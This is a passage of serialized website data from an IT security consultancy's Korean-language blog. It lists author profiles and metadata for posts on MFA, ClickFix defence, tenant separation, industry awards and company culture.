Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2878,"avatar":2879,"permalink":2880,"twitter":2881,"linkedin":2882,"imageOffsetTop":2883},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2885,"avatar":2886,"permalink":2887,"linkedin":2888,"twitter":2794},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2890,"avatar":2891,"permalink":2892,"linkedin":2893,"twitter":2794},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2895,"avatar":2896,"permalink":2897,"twitter":2898,"linkedin":2899},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2901,"avatar":2902,"permalink":2903,"linkedin":2904,"twitter":2794},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2906,"avatar":2907,"permalink":2908,"linkedin":2909,"twitter":2794,"imageOffsetTop":2783},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2911,"avatar":2912,"permalink":2913,"linkedin":2914,"twitter":2794},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2916,"avatar":2917,"permalink":2918,"twitter":2794},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2920,"avatar":2921,"permalink":2922,"twitter":2794,"linkedin":2923},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2925,"avatar":2926,"permalink":2927,"twitter":2928,"linkedin":2929},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2931,"avatar":2932,"permalink":2933,"linkedin":2934,"twitter":2794},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2936,"avatar":2937,"permalink":2938,"twitter":2794,"linkedin":2847},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2714,"avatar":2940,"permalink":2941,"twitter":2942,"linkedin":2942,"imageOffsetTop":2783,"socials":2943},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2944,2947],{"text":2945,"href":2946},"Blog","https://emptydc.com",{"text":2948,"href":2949},"Podcast","https://hairlessinthecloud.com",{"display_name":2951,"avatar":2952,"permalink":2953,"twitter":2954,"linkedin":2955},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2957,"avatar":2958,"permalink":2959,"twitter":2794,"linkedin":2847},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2961,"avatar":2962,"permalink":2963,"twitter":2964,"linkedin":2847},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2970},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2972,"avatar":2973,"permalink":2974,"twitter":2975,"linkedin":2975},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2977,"avatar":2978,"permalink":2979,"twitter":2980,"linkedin":2981},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2983,"avatar":2984,"permalink":2985,"twitter":2986,"linkedin":2987},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2989,"avatar":2990,"permalink":2991,"linkedin":2992,"twitter":2794},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2994,"avatar":2995,"permalink":2996,"linkedin":2997,"twitter":2794},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2999,"avatar":3000,"permalink":3001,"linkedin":3002,"twitter":3003},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3005,"avatar":3006,"permalink":3007,"linkedin":3008},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3010,"avatar":3011,"permalink":3012,"linkedin":3013},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3015,"avatar":3016,"permalink":3017,"linkedin":3018},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3020,"avatar":3021,"permalink":3022,"linkedin":3023},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3025,"avatar":3026,"permalink":3027,"linkedin":3028,"imageOffsetTop":2783},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3030,"avatar":3031,"permalink":3032,"linkedin":3033,"imageOffsetTop":2783},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3035,"avatar":3036,"permalink":3037,"linkedin":3038,"imageOffsetTop":2883},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3040,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2883},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3049,"avatar":3050,"permalink":3051,"linkedin":3052,"imageOffsetTop":3053,"imageOffsetLeft":3054},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3056,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":3060,"imageOffsetLeft":3061},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3063,"avatar":3064,"permalink":3065,"linkedin":3066,"imageOffsetTop":3067,"imageOffsetLeft":2810},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3069,"Alexander Schlindwein":3070,"Sophie Luna":3071,"Nadine Klein":3072,"Karsten Kleinschmidt":3073,"Julian Wendt":3074,"Holger Bunkradt":3075,"Ralf Mania":3076,"Oliver Kieselbach":3077,"Steffen Schwerdtfeger":3078,"Gunnar Winter":3079,"Jan Petersen":3080,"Thorsten Kunzi":3081,"Moritz Pohl":3082,"Thorben Pöschus":3083,"Christoph Hannebauer":3084,"Marco Scheel":3085,"Christopher Brumm":3086,"Florian Klante":3087,"Niklas Bachmann":3088,"Nils Krautkrämer":3089,"Patrick Treptau":3090,"Peter Beckendorf":3091,"Patrick Sobau":3092,"Jörg Wunderlich":3093,"Michael Breither":3094,"Christian Kanja":3095,"Zeba Hoffmann":3096,"Jochen Fröhlich":3097,"Jan Geisbauer":3098,"Gerrit Reinke":3102,"Christian Kordel":3103,"Stephan Wälde":3104,"Carolin Kanja":3105,"Adrian Ritter":3106,"Marvin Bangert":3107,"Thorsten Pickhan":3108,"Christian Lorenz":3109,"Denis Böhm":3110,"Fabian Bader":3111,"Juan Jose Fernandez Perez":3112,"Mahschid Sayyar":3113,"Benjamin Dassow":3114,"Markus Walschburger":3115,"Jonathan Haist":3116,"Daniel Rohregger":3117,"Thomas Naunheim":3118,"Florian Stöckl":3119,"Pascal Asch":3120,"Markus Kättner":3121,"Anna Ulbricht":3122,"Annette Brauns":3123},{"display_name":2779,"avatar":2780,"permalink":2781,"linkedin":2782,"imageOffsetTop":2783},{"display_name":2785,"avatar":2786,"permalink":2787,"twitter":2788,"linkedin":2789},{"display_name":2791,"avatar":2792,"permalink":2793,"twitter":2794,"linkedin":2795,"imageOffsetLeft":2796,"imageOffsetTop":2797},{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2783},{"display_name":2805,"avatar":2806,"permalink":2807,"twitter":2808,"linkedin":2809,"imageOffsetTop":2810,"imageOffsetLeft":2811},{"display_name":2813,"avatar":2814,"permalink":2815,"linkedin":2816},{"display_name":2818,"avatar":2819,"permalink":2820,"linkedin":2821,"twitter":2822},{"display_name":2824,"avatar":2825,"permalink":2826,"linkedin":2827,"twitter":2828},{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834},{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840,"imageOffsetTop":2841,"imageOffsetLeft":2842},{"display_name":2844,"avatar":2845,"permalink":2846,"twitter":2794,"linkedin":2847},{"display_name":2849,"avatar":2850,"permalink":2851,"twitter":2794,"linkedin":2852},{"display_name":2854,"avatar":2855,"permalink":2856,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},{"display_name":2858,"avatar":2859,"permalink":2860,"twitter":2794,"linkedin":2861},{"display_name":2863,"avatar":2864,"permalink":2865,"twitter":2866,"linkedin":2867},{"display_name":2869,"avatar":2870,"permalink":2871,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},{"display_name":2873,"avatar":2874,"permalink":2875,"twitter":2876,"linkedin":2876},{"display_name":2878,"avatar":2879,"permalink":2880,"twitter":2881,"linkedin":2882,"imageOffsetTop":2883},{"display_name":2885,"avatar":2886,"permalink":2887,"linkedin":2888,"twitter":2794},{"display_name":2890,"avatar":2891,"permalink":2892,"linkedin":2893,"twitter":2794},{"display_name":2895,"avatar":2896,"permalink":2897,"twitter":2898,"linkedin":2899},{"display_name":2901,"avatar":2902,"permalink":2903,"linkedin":2904,"twitter":2794},{"display_name":2906,"avatar":2907,"permalink":2908,"linkedin":2909,"twitter":2794,"imageOffsetTop":2783},{"display_name":2911,"avatar":2912,"permalink":2913,"linkedin":2914,"twitter":2794},{"display_name":2916,"avatar":2917,"permalink":2918,"twitter":2794},{"display_name":2920,"avatar":2921,"permalink":2922,"twitter":2794,"linkedin":2923},{"display_name":2925,"avatar":2926,"permalink":2927,"twitter":2928,"linkedin":2929},{"display_name":2931,"avatar":2932,"permalink":2933,"linkedin":2934,"twitter":2794},{"display_name":2936,"avatar":2937,"permalink":2938,"twitter":2794,"linkedin":2847},{"display_name":2714,"avatar":2940,"permalink":2941,"twitter":2942,"linkedin":2942,"imageOffsetTop":2783,"socials":3099},[3100,3101],{"text":2945,"href":2946},{"text":2948,"href":2949},{"display_name":2951,"avatar":2952,"permalink":2953,"twitter":2954,"linkedin":2955},{"display_name":2957,"avatar":2958,"permalink":2959,"twitter":2794,"linkedin":2847},{"display_name":2961,"avatar":2962,"permalink":2963,"twitter":2964,"linkedin":2847},{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2970},{"display_name":2972,"avatar":2973,"permalink":2974,"twitter":2975,"linkedin":2975},{"display_name":2977,"avatar":2978,"permalink":2979,"twitter":2980,"linkedin":2981},{"display_name":2983,"avatar":2984,"permalink":2985,"twitter":2986,"linkedin":2987},{"display_name":2989,"avatar":2990,"permalink":2991,"linkedin":2992,"twitter":2794},{"display_name":2994,"avatar":2995,"permalink":2996,"linkedin":2997,"twitter":2794},{"display_name":2999,"avatar":3000,"permalink":3001,"linkedin":3002,"twitter":3003},{"display_name":3005,"avatar":3006,"permalink":3007,"linkedin":3008},{"display_name":3010,"avatar":3011,"permalink":3012,"linkedin":3013},{"display_name":3015,"avatar":3016,"permalink":3017,"linkedin":3018},{"display_name":3020,"avatar":3021,"permalink":3022,"linkedin":3023},{"display_name":3025,"avatar":3026,"permalink":3027,"linkedin":3028,"imageOffsetTop":2783},{"display_name":3030,"avatar":3031,"permalink":3032,"linkedin":3033,"imageOffsetTop":2783},{"display_name":3035,"avatar":3036,"permalink":3037,"linkedin":3038,"imageOffsetTop":2883},{"display_name":3040,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2883},{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},{"display_name":3049,"avatar":3050,"permalink":3051,"linkedin":3052,"imageOffsetTop":3053,"imageOffsetLeft":3054},{"display_name":3056,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":3060,"imageOffsetLeft":3061},{"display_name":3063,"avatar":3064,"permalink":3065,"linkedin":3066,"imageOffsetTop":3067,"imageOffsetLeft":2810},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3127,"authors":3330},[3128,3145,3159,3173,3189,3202,3215,3228,3240,3256,3270,3285,3290,3301,3314],{"id":3129,"title":3130,"author":3131,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3132,"moment":3137,"path":3138,"stem":3139,"tags":3140,"webcast":484},"content_ko/posts/2026-09-22-end-of-mfa-sms.md","MFA SMS의 종말",[2805],{"lang":2678,"date":3133,"categories":3134,"blogtitlepic":3135,"customExcerpt":3136},"2026-09-21",[2683],"head-conditional-access.jpg","기업이 지금 피싱에 강하고 가능한 한 비밀번호 없는 인증 방식으로 전환해야 하는 이유.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[2683,3141,3142,3143,3144],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3146,"title":3147,"author":3148,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3149,"moment":3133,"path":3153,"stem":3154,"tags":3155,"webcast":484},"content_ko/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. 사용자가 곧 익스플로잇일 때, 그리고 이를 멈추는 방법",[2779,2799],{"lang":2678,"date":3133,"categories":3150,"blogtitlepic":3151,"customExcerpt":3152},[2683],"head-clickfix.jpg","ClickFix는 사용자를 자기 자신의 공격자로 만듭니다. 가짜 CAPTCHA 하나, 복사·붙여넣기 한 번으로 악성 코드가 메모리에서 실행되고, 디스크에는 아무것도 남지 않습니다. Microsoft Defender가 이 공격을 어떻게 탐지하는지, 탐지가 어디서 한계에 부딪히는지, 그리고 RunMRU 헌트와 네 개의 보호 레이어로 그 공백을 어떻게 메우는지 살펴봅니다.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3156,3157,3158],"Defender","SOC","Endpoint Security",{"id":3160,"title":3161,"author":3162,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3163,"moment":3133,"path":3167,"stem":3168,"tags":3169,"webcast":484},"content_ko/posts/2026-09-21-red-tenant-dark-tenant-cio.md","관리 업무와 일상 업무를 한 컴퓨터에서? Game Over.",[2714],{"lang":2678,"date":3133,"categories":3164,"blogtitlepic":3165,"customExcerpt":3166},[2683],"head-game-over-en.jpg","CIO에게 테넌트 하나로는 충분하지 않은 이유, 그리고 두 번째 테넌트가 좀처럼 함께 고려되지 않는 이유입니다. Managed Red Tenant는 관리 업무를 오피스 환경으로부터 아키텍처 차원에서 분리하고, Managed Dark Tenant는 방어가 무너졌을 때도 기업이 계속 움직일 수 있게 합니다. 이것이 운영 모델과 SOC 신호, 그리고 NISG 2026에 따른 입증 의무에 어떤 의미를 갖는지 살펴봅니다.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[2683,3170,3171,3172],"Privileged Access","Zero Trust","NIS2",{"id":3174,"title":3175,"author":3176,"cta":494,"description":3177,"hideInRecent":484,"layout":2676,"meta":3178,"moment":3179,"path":3184,"stem":3185,"tags":3186,"webcast":484},"content_ko/posts/2026-08-08-isg-germany-2026.md","네 번의 Leader. ISG 독일 연구 2026 속 glueckkanja",[2966],"ISG는 올해 연구의 이름을 바꿨습니다. Microsoft Cloud Ecosystem은 Microsoft AI and Cloud Ecosystem이 되었고, 이름과 함께 기준도 옮겨 갔습니다. 이제 평가 대상은 누가 Microsoft 플랫폼을 도입하는지가 아니라, 누가 Copilot과 에이전트, AI 워크로드를 통제 가능하게 운영하는지입니다. 새로운 기준은 저희의 위치를 바꾸지 않았습니다. ISG Provider Lens® 연구 독일 2026은 저희를 네 개 사분면의 Leader로 포지셔닝합니다. Microsoft Productivity and Business Process Services와 Azure Managed Services에서 각각 Large Market과 Mid Market입니다. 2021년, 2023년, 2024년, 2025년에 이어 독일에서 다섯 번째 Leader 등급이며, 스위스에서는 2주 전에 Leader 사분면으로의 도약이 있었습니다.",{"lang":2678,"date":3179,"categories":3180,"blogtitlepic":3182,"customExcerpt":3183},"2026-08-08",[3181],"Corporate","head-isg-de-2026.png","ISG Provider Lens® 연구 2026은 독일에서 glueckkanja를 네 개 사분면의 Leader로 포지셔닝했습니다. Microsoft Productivity and Business Process Services와 Azure Managed Services에서 각각 Large Market과 Mid Market입니다. 연구의 이름은 이제 Microsoft AI and Cloud Ecosystem이 되었고, 기준도 옮겨 갔습니다. 평가 대상은 AI와 에이전트 워크로드를 통제 가능하게 운영하는 곳입니다.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3187,3188],"Award","ISG",{"id":3190,"title":3191,"author":3192,"cta":494,"description":3193,"hideInRecent":484,"layout":2676,"meta":3194,"moment":3195,"path":3199,"stem":3200,"tags":3201,"webcast":484},"content_ko/posts/2026-07-31-isg-switzerland-2026.md","Rising Star에서 Leader로. ISG 스위스 연구 2026 속 glueckkanja",[2966],"2024년 저희는 glueckkanja Switzerland AG를 설립하고 베른 Bahnhofplatz 10b의 zentroom에 사무실을 마련했습니다. 2025년 ISG는 스위스 시장에서 저희를 Rising Star로 분류했습니다. 애널리스트들이 Leader 사분면으로 도약할 것으로 보는 공급업체라는 뜻이었습니다. 이제 그 도약이 기록되었습니다. ISG Provider Lens® 연구 2026은 스위스에서 저희를 Microsoft AI and Cloud Ecosystem 사분면의 Leader로, Azure Managed Services와 Microsoft Productivity and Business Process Services 영역에서 포지셔닝했습니다.",{"lang":2678,"date":3195,"categories":3196,"blogtitlepic":3197,"customExcerpt":3198},"2026-07-31",[3181],"head-isg-ch-2026.png","ISG Provider Lens® 연구 2026은 스위스에서 glueckkanja를 Microsoft AI and Cloud Ecosystem 사분면의 Leader로, Azure Managed Services와 Microsoft Productivity and Business Process Services 영역에서 포지셔닝했습니다. 베른 시장 진출 2년 만에, Rising Star 선정 1년 만의 일입니다.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3187,3188],{"id":3203,"title":3204,"author":3205,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3206,"moment":3207,"path":3211,"stem":3212,"tags":3213,"webcast":484},"content_ko/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. OpenAI/Hugging Face 사건이 말해 주는 것과 말해 주지 않는 것",[2714],{"lang":2678,"date":3207,"categories":3208,"blogtitlepic":3209,"customExcerpt":3210},"2026-07-24",[2683],"head-outbreak.jpg","AI 에이전트가 자신의 테스트 환경에서 탈출해 제로데이를 찾아내고 다른 기업을 해킹했습니다. 각본처럼 들리지만 2026년 7월에 실제로 일어난 일입니다. 이제 차분하게 자리를 잡아 볼 시간입니다. 약간의 심리학, 두 명의 보안 베테랑, 그리고 이것이 여러분의 방어에 무엇을 의미하는지에 대한 질문과 함께.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3214,3157,3171],"AI",{"id":3216,"title":3217,"author":3218,"cta":494,"description":3219,"hideInRecent":484,"layout":2676,"meta":3220,"moment":3221,"path":3225,"stem":3226,"tags":3227,"webcast":484},"content_ko/posts/2026-07-22-isg-cybersecurity-2026.md","Leader 그리고 Rising Star. ISG 사이버보안 연구 2026 속 glueckkanja",[2966],"사분면에 새로 진입해 곧바로 Leader가 되었습니다. ISG Provider Lens® 연구 \"Cybersecurity – Services and Solutions 2026\"은 glueckkanja를 독일 중견·중소기업을 위한 Next-Gen SOC/MDR Services 영역의 Leader로 포지셔닝했습니다. Next-Gen SOC/MDR Services 전체 시장에서 ISG는 저희를 Rising Star로 선정했습니다. 즉, 애널리스트들이 향후 12~24개월 안에 Leader 사분면으로 도약할 것으로 보는 공급업체라는 뜻입니다.",{"lang":2678,"date":3221,"categories":3222,"blogtitlepic":3223,"customExcerpt":3224},"2026-07-22",[3181],"head-isg-cybersecurity-2026.png","ISG Provider Lens® 연구 Cybersecurity 2026이 glueckkanja를 Next-Gen SOC/MDR Services(Midmarket) 사분면의 Leader로 선정했습니다. Next-Gen SOC/MDR Services 전체 시장에서는 저희가 Rising Star입니다. ISG는 저희의 시장 평균을 웃도는 성장, 깊은 Microsoft 보안 전문성, 그리고 독일에서 운영되는 24/7 SOC를 인정했습니다.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3187,3188,2683],{"id":3229,"title":3230,"author":3231,"cta":494,"description":3232,"hideInRecent":484,"layout":2676,"meta":3233,"moment":3234,"path":3237,"stem":3238,"tags":3239,"webcast":484},"content_ko/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: AI가 실제로 일하려면 무엇이 필요한가",[2966],"어느 제조 기업이 자사의 SKU 14,000개 중 실제로 수익을 내는 것이 무엇인지 알고 싶어 합니다. 그 답은 단 하나의 데이터 포인트도 서로 주고받은 적이 없는 세 개의 시스템에 흩어져 있습니다. 얼마 전까지만 해도 그 답을 얻는 데는 세 개 부서와 2주, 그리고 상당한 선의가 필요했습니다. 2026년 초부터는 AI가 이 질문에 몇 분 안에 답할 수 있습니다. 데이터를 뒤지고, 연관 관계를 만들고, 권고안을 내놓는 것입니다. 단, AI가 접근할 수 있다는 전제에서입니다.",{"lang":2678,"date":3234,"categories":3235,"blogtitlepic":3236},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3214,131],{"id":3241,"title":3242,"author":3243,"cta":494,"description":3244,"hideInRecent":484,"layout":2676,"meta":3245,"moment":3246,"path":3250,"stem":3251,"tags":3252,"webcast":484},"content_ko/posts/2026-07-01-onboarding-process.md","계약서에 서명하셨습니다. 저희 온보딩은 이렇게 진행됩니다",[3056],"온보딩은 실제로 어떻게 진행되나요? 지원자들과 이야기를 나누다 보면 거듭 마주치는 질문입니다. 온보딩이 삐걱대며 흘러가는 경험을 이미 해 본 분이 많기 때문입니다. 그래서 저희는 처음부터 여러분이 좋은 느낌을 받으실 수 있도록 하는 것을 더욱 중요하게 생각합니다.",{"lang":2678,"date":3246,"categories":3247,"blogtitlepic":3248,"customExcerpt":3249},"2026-07-01",[3181],"Onboarding_Blogheader","계약서에 서명을 마쳤고, 가장 큰 첫걸음은 이미 내디뎠습니다. 그렇다면 이제 어떻게 될까요? PreBoarding부터 팀에서 보내는 첫 주까지, 저희 온보딩의 무대 뒤로 여러분을 안내합니다.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3253,3254,3255],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3257,"title":3258,"author":3259,"cta":494,"description":3260,"hideInRecent":484,"layout":2676,"meta":3261,"moment":3262,"path":3266,"stem":3267,"tags":3268,"webcast":484},"content_ko/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: 우리는 그 일원입니다",[2966],"Microsoft 파트너 생태계에는 다양한 인증이 존재하지만, Frontier Partner Badge는 그 구조 자체에서 다른 인증들과 구별됩니다. 이 배지는 신청할 수 있는 것이 아니라, Microsoft의 주도로 극소수의 파트너에게만 부여되며, 대상 파트너는 한 가지 분야에서 두각을 나타내는 것이 아니라 여러 분야에서 동시에 역량을 입증해야 합니다. 이때 Microsoft는 Cloud & AI Platforms, AI Business Solutions, Security 세 영역에서 입증된 역량을 동일한 비중으로 검증하며, 이를 통해 AI를 기존 IT 위에 얹는 부가물로 이해하는 것이 아니라 아이덴티티에서 엔드포인트를 거쳐 실제 운영 중인 AI까지 이어지는 일관된 아키텍처의 결과로 이해하는 기업을 대상으로 삼습니다.",{"lang":2678,"date":3262,"categories":3263,"blogtitlepic":3264,"customExcerpt":3265},"2026-06-26",[3181],"head-frontier-partner-badge.jpg","얼마 전 Microsoft AI Cloud Partner Program에 새로운 최고 등급의 인증인 Frontier Partner Badge가 도입되었습니다. Microsoft는 이 배지를 전 세계에서 극소수의 파트너에게만 부여하는데, 이들은 업무 환경에서 클라우드 플랫폼과 보안을 거쳐 AI 애플리케이션 자체에 이르기까지 Microsoft 스택 전반에서 AI 프로젝트를 지속 가능하게 제공하며, 이러한 역량을 실제 현장에서 입증한 파트너입니다. DACH 지역에서 이 그룹에 속하는 기업은 손에 꼽을 정도이며, 우리는 그중 하나입니다.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3187,3269,3214],"Microsoft Partner",{"id":3271,"title":3272,"author":3273,"cta":494,"description":3274,"hideInRecent":484,"layout":2676,"meta":3275,"moment":3276,"path":3280,"stem":3281,"tags":3282,"webcast":484},"content_ko/posts/2026-06-09-vair-run.md","좋은 뜻을 위한 160킬로미터",[3063],"일요일 아침 8시 30분, 마인강 변 Holbeinsteg. 통일된 NinjaCat 셔츠를 입은 열한 명의 동료가 Frankfurter Runden을 준비하고 있습니다. 비, 번개, 천둥까지 함께였습니다. 좋은 뜻을 위해 달린다는 것은, 궂은 날씨에도 러닝화 끈을 조여 매기에 충분한 동기였습니다.",{"lang":2678,"date":3276,"categories":3277,"blogtitlepic":3278,"customExcerpt":3279},"2026-06-08",[3181],"frankfurter-runden.png","열한 명의 동료, 16바퀴, 160킬로미터, 뇌우 한 차례 그리고 시상대 입상: glueckkanja는 Frankfurter Runden 2026에 참가했고, 달린 한 바퀴마다 Offenbach에 포용적인 스포츠·문화 공원을 짓고 있는 VAIR e.V.에 기부했습니다.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3283,3253,3284],"Top Arbeitgeber","Soziales Engagement",{"id":520,"title":521,"author":3286,"cta":494,"description":530,"hideInRecent":484,"layout":2676,"meta":3287,"moment":2681,"path":2763,"stem":2765,"tags":3289,"webcast":484},[523],{"lang":2678,"date":2681,"categories":3288,"blogtitlepic":2684,"customExcerpt":2686},[2683],[2767,2768,2769,2770,2771],{"id":3291,"title":3292,"author":3293,"cta":494,"description":3294,"hideInRecent":484,"layout":2676,"meta":3295,"moment":3296,"path":3299,"stem":3300,"tags":494,"webcast":484},"content_ko/posts/2026-03-21-microsoft-edge-corporate-browser.md","Edge가 유일한 Corporate Browser여야 하는 이유",[2836],"기업 환경에서 브라우저의 선택은 전략적 결정입니다. 이는 실제로 얼마나 많은 보안과 관리 부담을 갖게 되는지에 직접적인 영향을 미칩니다. Google Chrome은 오랫동안 당연한 선택지였지만, Microsoft Edge는 특히 Microsoft 365가 사용되고 관리가 Intune을 통해 이루어지는 경우 기존 스택에 직접 연결되는 브라우저로 발전했습니다.",{"lang":2678,"date":3296,"blogtitlepic":3297,"customExcerpt":3298},"2026-03-21","head-microsoft-edge-default-browser.jpg","Chrome를 진정으로 선택한 기업은 없습니다. 그저 그 자리에 있었을 뿐이며, 자체 동기화 로직과 자체 계정 관리, 자체 정책 인터페이스를 가지고 있었습니다. 반면 Microsoft Edge는 이미 가동 중인 인프라, 즉 Entra ID, Intune, Defender에 직접 연결됩니다. 이 글에서는 전환이 어떤 모습인지, Chrome을 Intune 정책으로 어떻게 랜딩 페이지로 리디렉션하는지, 그리고 두 개의 브라우저를 병행 운영하는 것을 멈추면 무엇이 사라지는지를 보여드립니다.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3302,"title":3303,"author":3304,"cta":494,"description":3305,"hideInRecent":484,"layout":2676,"meta":3306,"moment":3307,"path":3311,"stem":3312,"tags":3313,"webcast":484},"content_ko/posts/2026-03-20-stryker-attack-intune-privilege.md","관리자 계정 하나면 충분했습니다.",[2714],"2026년 3월 11일 수요일. 79개국의 Stryker 사무실 직원들은 컴퓨터를 켰고, 화면이 비어 있는 것을 발견했습니다. 로그인 화면은 하나의 로고로 대체되어 있었습니다. 회사 노트북, 업무용 휴대폰, 그리고 회사의 BYOD 프로그램에 등록된 개인 기기까지 모두 동시에, 하룻밤 사이에 초기화되었습니다. 랜섬웨어도, 멀웨어 시그니처도, 엔드포인트 탐지 도구가 잡아낼 수 있었던 그 어떤 것도 없었습니다.",{"lang":2678,"date":3307,"categories":3308,"blogtitlepic":3309,"customExcerpt":3310},"2026-03-20",[2683],"head-stryker.jpg","2026년 3월 11일, Handala는 79개국의 기기를 초기화했고, 그 모든 것에 필요했던 것은 침해된 Intune 관리자 계정 하나였습니다. 멀웨어도, 익스플로잇도 없었고, 오직 정당한 관리 도구가 그 소유자를 겨냥했을 뿐입니다. 무슨 일이 있었는지, 왜 그것이 통했는지, 그리고 어떤 두 가지 아키텍처 허점을 막아야 하는지 살펴봅니다.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3170,3171],{"id":3315,"title":3316,"author":3317,"cta":494,"description":3318,"hideInRecent":484,"layout":2676,"meta":3319,"moment":3320,"path":3324,"stem":3325,"tags":3326,"webcast":484},"content_ko/posts/2026-03-16-ai-agent-hackathon.md","여섯 개의 Agent. 4주. 실제 운영.",[2966],"여러분의 IT 부서는 Agent가 몇 분이면 처리할 수 있는 작업에 매주 몇 시간을 쓰고 